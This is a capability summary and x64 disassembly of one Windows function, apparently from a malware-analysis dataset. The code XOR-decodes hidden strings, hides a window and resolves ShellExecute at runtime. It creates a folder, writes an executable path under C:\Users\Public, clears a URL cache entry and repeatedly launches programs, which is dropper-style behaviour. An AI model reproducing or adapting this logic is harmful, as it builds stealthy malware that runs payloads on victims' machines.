Function at 0x140019800
Capabilities:
Contain obfuscated stackstrings
Create directory
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x388]
sub rsp, 0x488
movaps xmmword [rsp + 0x470], xmm6
xor r14d, r14d
mov dword [rbp + 0x3d0], r14d
movabs r15, 0x97938bf423e4de43
mov qword [rbp - 0x80], r15
movabs r13, 0x8c344401d7bdb628
mov qword [rbp - 0x78], r13
movabs rax, 0x139b785a16c9083d
mov qword [rbp - 0x70], rax
movabs rsi, 0xe9fca8facb2e9d2
mov qword [rbp - 0x68], rsi
movabs rax, 0xc0f6e79b508ab100
mov qword [rsp + 0x60], rax
movabs rax, 0xed580776b8d9d841
mov qword [rsp + 0x68], rax
movabs rax, 0x139b785a16c97b4e
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rsi
movdqa xmm0, xmmword [rbp - 0x80]
pxor xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [rbp - 0x70]
pxor xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm1
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400198d8
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
nop
call fcn.140001440
mov rcx, rax
test rax, rax
je 0x14001a81b
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x3e0], rax
lea rcx, [rbp + 0x130]
call fcn.1400195e0
mov rbx, rax
mov rax, qword [rax]
cmp dword [rax - 8], 1
jle 0x14001991d
mov edx, dword [rax - 0x10]
mov rcx, rbx
call fcn.140002260
mov rdx, qword [rbx]
lea rcx, [rbp + 0x3e0]
call fcn.140001b90
nop
mov rdx, qword [rbp + 0x130]
add rdx, 0xffffffffffffffe8
mov rdi, 0xffffffffffffffff
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140019955
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
call fcn.140001440
mov rcx, rax
test rax, rax
je 0x14001a826
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1c8], r13
movabs rax, 0xb9a1b8984f81b610
mov qword [rbp - 0x40], rax
movabs rax, 0x8c344401d7d1da4c
mov qword [rbp - 0x38], rax
movdqa xmm0, xmmword [rbp + 0x1c0]
pxor xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], r13
movabs rax, 0xa5a0e7914d96bb28
mov qword [rbp - 0x30], rax
movabs rax, 0x8c344401bbd1d206
mov qword [rbp - 0x28], rax
movdqa xmm0, xmmword [rbp + 0x1d0]
pxor xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r13
movabs rax, 0xf2ebce984f81b610
mov qword [rbp - 0x20], rax
movabs rax, 0x8c344440b2c9c34b
mov qword [rbp - 0x18], rax
movdqa xmm0, xmmword [rbp + 0x1e0]
pxor xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x20], xmm0
lea rdx, [rbp - 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x230], r15
mov qword [rbp + 0x238], r13
movabs rax, 0x139b785a16c9083d
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], rsi
movabs rax, 0xe4e1ee8776b8e400
mov qword [rbp + 0x30], rax
movabs rax, 0xd0572d6db5c8e674
mov qword [rbp + 0x38], rax
movabs rax, 0x33be24397fba7d70
mov qword [rbp + 0x40], rax
movabs rax, 0xe9fca8facb2b5a1
mov qword [rbp + 0x48], rax
movdqa xmm0, xmmword [rbp + 0x230]
pxor xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x240]
pxor xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x40], xmm1
mov r8, qword [rbp + 0x3e0]
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x3d8]
call fcn.140002970
xor edx, edx
mov rbx, qword [rbp + 0x3d8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x14001a60d
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x358], xmm0
mov qword [rbp + 0x368], r14
movdqa xmm0, xmmword [str.C:UsersPubli_]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x395c5c63
mov dword [rsp + 0x44], 0x33373939
mov dword [rsp + 0x48], 0x6578652e
mov byte [rsp + 0x4c], 0
mov qword [rbp + 0x2f0], r15
mov qword [rbp + 0x2f8], r13
movabs rax, 0x139b785a16c9083d
mov qword [rbp + 0x300], rax
mov qword [rbp + 0x308], rsi
movabs rax, 0x606ce4a0279fe537
mov qword [rbp + 0x310], rax
movabs rcx, 0xa34058dbd92762c
mov qword [rbp + 0x318], rcx
movabs rax, 0xa3bca4ce5390aa2b
mov qword [rbp + 0xd0], rax
movabs rax, 0xbc066a34ee8c981d
mov qword [rbp + 0xd8], rax
movabs rax, 0x3cae406027f02609
mov qword [rbp + 0xe0], rax
movabs rax, 0x66efe4f7c9d687bb
mov qword [rbp + 0xe8], rax
movabs rax, 0x605bd39d43f6da47
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rcx
movdqa xmm0, xmmword [rbp + 0x2f0]
pxor xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0x300]
pxor xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0xe0], xmm1
movdqa xmm0, xmmword [rbp + 0x310]
pxor xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0xf0], xmm0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xd0]
call fcn.14001a860
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001440
mov rcx, rax
test rax, rax
je 0x14001a831
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x50], rax
lea rbx, [0x1400248b8]
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001eb0
test al, al
jne 0x140019cac
mov rax, rdi
inc rax
cmp word [rbx + rax*2], 0
jne 0x140019c94
mov r8d, eax
lea rcx, [rsp + 0x50]
call fcn.1400025b0
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [rsp + 0x50]
mov rdx, rbx
lea rcx, [rbp + 0x3e8]
call fcn.140001cd0
nop
mov qword [rbp + 0x198], r14
mov qword [rbp + 0x1a8], r14
mov qword [rbp + 0x1b0], 0xf
mov byte [rbp + 0x198], 0
mov rdx, qword [rbp + 0x3e8]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140019d00
lea rcx, [rbp + 0x198]
call fcn.140002340
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 0x10
cmovae r8, qword [rbp + 0x198]
mov qword [rbp + 0x320], r15
mov qword [rbp + 0x328], r13
movabs rax, 0x139b785a16c9083d
mov qword [rbp + 0x330], rax
mov qword [rbp + 0x338], rsi
movabs rax, 0x606ce4a0279fe537
mov qword [rbp + 0x340], rax
movabs rcx, 0xa34058dbd92762c
mov qword [rbp + 0x348], rcx
movabs rax, 0xa3bca4ce5390aa2b
mov qword [rbp + 0x100], rax
movabs rax, 0xbc066a34ee8c981d
mov qword [rbp + 0x108], rax
movabs rax, 0x3cae406027f02609
mov qword [rbp + 0x110], rax
movabs rax, 0x66efe4f7c9d687bb
mov qword [rbp + 0x118], rax
movabs rax, 0x601fc19d43f6da47
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rcx
movdqa xmm0, xmmword [rbp + 0x320]
pxor xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [rbp + 0x330]
pxor xmm1, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [rbp + 0x340]
pxor xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x3e8]
call fcn.140002970
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x3e8]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], r13
movabs rax, 0x2832b998519160e2
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], r13
movdqa xmm0, xmmword [rbp + 0x1f0]
pxor xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
mov rcx, qword [rbx - 0x18]
test rcx, rcx
je 0x140019eb0
mov rax, qword [rcx]
call qword [rax + 0x20]
test rax, rax
jne 0x140019ebe
call fcn.140001440
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x20]
mov r8, rax
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x138]
call fcn.140001fc0
nop
mov rax, qword [rbp + 0x138]
test rax, rax
je 0x14001a83c
mov rdx, rax
sub rdx, rbx
nop dword [rax + rax]
movzx esi, word [rbx]
movzx ecx, word [rbx + rdx]
sub esi, ecx
jne 0x140019f03
add rbx, 2
test ecx, ecx
jne 0x140019ef0
lea rdx, [rax - 0x18]
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140019f1c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
test esi, esi
jne 0x140019f89
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r13
lea ebx, [rsi + 0x64]
movabs rdi, 0x97938bf44088bf20
movdqa xmm6, xmmword [rsp + 0x60]
nop dword [rax]
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], r13
movdqa xmm0, xmm6
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp - 0x80]
lea rdx, str.OPEN
xor ecx, ecx
call r12
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rbx, 1
jne 0x140019f40
jmp 0x14001a813
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0x200], r15
mov qword [rbp + 0x208], r13
movabs rax, 0x97938b864296f07a
mov qword [rbp], rax
mov qword [rbp + 8], r13
movdqa xmm0, xmmword [rbp + 0x200]
pxor xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
lea r8, [rbp]
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp + 0x140]
call fcn.1400018c0
mov r14, qword [rax]
mov rdx, qword [rbp + 0x140]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001a00d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rbx, qword [rbp + 0x3e8]
mov rcx, qword [rbx - 0x18]
mov rax, qword [rcx]
call qword [rax + 0x20]
mov r9, rax
mov ecx, dword [rbx - 8]
shr ecx, 0x1f
mov r15d, 1
test cl, cl
jne 0x14001a041
cmp rax, qword [rbx - 0x18]
jne 0x14001a041
lea rsi, [rbx - 0x18]
lock inc dword [rbx - 8]
jmp 0x14001a097
mov rax, qword [rax]
mov r8d, r15d
mov edx, dword [rbx - 0x10]
mov rcx, r9
call qword [rax]
mov rsi, rax
test rax, rax
je 0x14001a847
mov eax, dword [rbx - 0x10]
mov dword [rsi + 8], eax
movsxd r8, dword [rbx - 0x10]
mov rdx, rbx
lea rcx, [rsi + 0x18]
add r8, r15
je 0x14001a097
test rcx, rcx
je 0x14001a087
test rdx, rdx
je 0x14001a082
call fcn.140004a40
jmp 0x14001a097
call fcn.1400050f0
call fcn.14000bfa8
mov dword [rax], 0x16
call fcn.14000bae8
lea rbx, [rsi + 0x18]
mov qword [rbp + 0x350], rbx
mov rdx, r14
mov rcx, rbx
call fcn.14001a860
nop
lea rdx, [rbx - 0x18]
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001a0c7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rsi, 0x97938bf423e4de43
mov qword [rbp + 0x210], rsi
mov qword [rbp + 0x218], r13
movabs rax, 0x9793ab864296f07a
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], r13
movdqa xmm0, xmmword [rbp + 0x210]
pxor xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x220], rsi
mov qword [rbp + 0x228], r13
movabs rax, 0xf9fcea9753c9fe26
mov qword [rbp + 0x10], rax
movabs rax, 0x8c147437e4dcdb41
mov qword [rbp + 0x18], rax
movdqa xmm0, xmmword [rbp + 0x220]
pxor xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x10], xmm0
lea r8, [rbp + 0x3d8]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x158]
call fcn.140001750
nop
lea r8, [rbp + 0x20]
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.1400018c0
nop
lea r8, [rbp + 0x3d8]
mov rdx, rax
lea rcx, [rbp + 0x148]
call fcn.140001a30
nop
mov r9, qword [rax]
mov qword [rbp + 0x250], rsi
mov qword [rbp + 0x258], r13
movabs rax, 0x139b785a16c9083d
mov qword [rbp + 0x260], rax
movabs r14, 0xe9fca8facb2e9d2
mov qword [rbp + 0x268], r14
movabs rax, 0xe4e1ee8776b8e400
mov qword [rbp + 0x50], rax
movabs rax, 0xd0572d6db5c8e674
mov qword [rbp + 0x58], rax
movabs rax, 0x6bfe566921f03104
mov qword [rbp + 0x60], rax
movabs rax, 0xe9fca8facb2e9b7
mov qword [rbp + 0x68], rax
movdqa xmm0, xmmword [rbp + 0x250]
pxor xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x260]
pxor xmm1, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm1
xor ebx, ebx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r8, [rbp + 0x50]
lea rdx, str.OPEN
xor ecx, ecx
call r12
nop
mov rdx, qword [rbp + 0x148]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001a271
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x150]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001a292
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x158]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001a2b2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov qword [rbp + 0x270], rsi
mov qword [rbp + 0x278], r13
movabs rcx, 0x139b785a16c9083d
mov qword [rbp + 0x280], rcx
mov qword [rbp + 0x288], r14
movabs rax, 0xadd0ab864296f07a
mov qword [rbp + 0x90], rax
movabs rax, 0xe1553666b8cfe674
mov qword [rbp + 0x98], rax
movabs rax, 0x139b787a77bd6979
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], r14
movdqa xmm0, xmmword [rbp + 0x270]
pxor xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
movdqa xmm1, xmmword [rbp + 0x280]
pxor xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm1
mov qword [rbp + 0x290], rsi
mov qword [rbp + 0x298], r13
mov qword [rbp + 0x2a0], rcx
mov qword [rbp + 0x2a8], r14
movabs rax, 0xf8f2e8840ec4fe26
mov qword [rbp + 0x70], rax
movabs rax, 0xac047232b6d0df46
mov qword [rbp + 0x78], rax
movabs rax, 0x139b785a16e97110
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], r14
movdqa xmm0, xmmword [rbp + 0x70]
pxor xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x2a0]
pxor xmm1, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm1
lea r8, [rbp + 0x3d8]
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x168]
call fcn.140001750
nop
lea r8, [rbp + 0x90]
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.1400018c0
nop
mov r9, qword [rax]
mov qword [rbp + 0x2b0], rsi
mov qword [rbp + 0x2b8], r13
movabs rax, 0x139b785a16c9083d
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x2c8], r14
movabs rax, 0xe4e1ee8776b8e400
mov qword [rbp + 0xb0], rax
movabs rax, 0xd0572d6db5c8e674
mov qword [rbp + 0xb8], rax
movabs rax, 0x6bfe566921f03104
mov qword [rbp + 0xc0], rax
movabs rax, 0xe9fca8facb2e9b7
mov qword [rbp + 0xc8], rax
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [rbp + 0x2c0]
pxor xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0xc0], xmm1
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r8, [rbp + 0xb0]
lea rdx, str.OPEN
xor ecx, ecx
call r12
nop
mov rdx, qword [rbp + 0x160]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001a4c6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x168]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001a4e6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp + 0x178]
call fcn.140001a30
mov r13, rax
mov rcx, qword [rax]
mov rcx, qword [rcx - 0x18]
test rcx, rcx
je 0x14001a528
mov rdx, qword [rcx]
call qword [rdx + 0x20]
mov rcx, rax
test rax, rax
jne 0x14001a539
call fcn.140001440
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x20]
mov rcx, rax
test rcx, rcx
je 0x14001a84d
mov rax, qword [rcx]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x58], rbx
mov dword [rbp + 0x3d0], r15d
lea rax, str..exe
mov rsi, rdi
inc rsi
cmp byte [rax + rsi], 0
jne 0x14001a562
mov r13, qword [r13]
movsxd r12, dword [r13 - 0x10]
lea r14d, [rsi + r12]
test r14d, r14d
js 0x14001a661
sub r15d, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, r14d
or eax, r15d
jge 0x14001a5a1
mov edx, r14d
lea rcx, [rsp + 0x58]
call fcn.140002700
mov rbx, qword [rsp + 0x58]
test r12d, r12d
je 0x14001a5d7
test rbx, rbx
je 0x14001a5c7
mov r8, r12
mov rcx, rbx
test r13, r13
je 0x14001a5c0
mov rdx, r13
call fcn.140004a40
jmp 0x14001a5d7
xor edx, edx
call fcn.1400050f0
call fcn.14000bfa8
mov dword [rax], 0x16
call fcn.14000bae8
movsxd r8, esi
lea rcx, [r12 + rbx]
test esi, esi
je 0x14001a605
test rcx, rcx
jne 0x14001a5f9
call fcn.14000bfa8
mov dword [rax], 0x16
call fcn.14000bae8
jmp 0x14001a605
lea rdx, str..exe
call fcn.140004a40
cmp r14d, dword [rbx - 0xc]
jle 0x14001a66c
jmp 0x14001a661
lea rdx, [rbx - 0x18]
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001a627
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x3e0]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], edi
sub edi, 1
jg 0x14001a645
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
movaps xmm6, xmmword [rsp + 0x470]
add rsp, 0x488
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x80070057
call fcn.140001200
int3
mov dword [rbx - 0x10], r14d
movsxd rax, r14d
mov byte [rax + rbx], 0
movabs r15, 0x97938bf423e4de43
mov qword [rbp + 0x2d0], r15
movabs r14, 0x8c344401d7bdb628
mov qword [rbp + 0x2d8], r14
movabs rax, 0xb9f7e7904681ae10
mov qword [rbp - 0x60], rax
movabs rax, 0x8c344401d7d8ce4d
mov qword [rbp - 0x58], rax
movdqa xmm0, xmmword [rbp - 0x60]
pxor xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp - 0x60], xmm0
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp + 0x170]
call fcn.1400018c0
mov rdx, rbx
mov rcx, qword [rax]
call fcn.14000bd98
mov rdx, qword [rbp + 0x170]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001a70a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov eax, edi
lock xadd dword [rbx - 8], eax
sub eax, 1
jg 0x14001a725
mov rcx, qword [rbx - 0x18]
mov rax, qword [rcx]
lea rdx, [rbx - 0x18]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x178]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001a750
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop word [rax + rax]
mov qword [rbp + 0x2e0], r15
mov qword [rbp + 0x2e8], r14
movabs rax, 0x97938bf4448cf363
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], r14
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp + 0x2e0]
movdqa xmmword [rbp - 0x50], xmm0
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp + 0x188]
call fcn.140001a30
nop
lea r8, str..exe
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.1400018c0
nop
xor ecx, ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x50]
mov r8, qword [rax]
lea rdx, str.OPEN
call qword [rbp + 0x180]
nop
mov rdx, qword [rbp + 0x190]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001a7f5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x188]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], edi
sub edi, 1
jg 0x14001a813
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
xor ecx, ecx
call fcn.1400090c0
nop
mov ecx, 0x80004005
call fcn.140001200
nop
mov ecx, 0x80004005
call fcn.140001200
nop
mov ecx, 0x80004005
call fcn.140001200
nop
mov ecx, 0x80004005
call fcn.140001200
nop
call fcn.1400024a0
nop
mov ecx, 0x80004005
call fcn.140001200
int3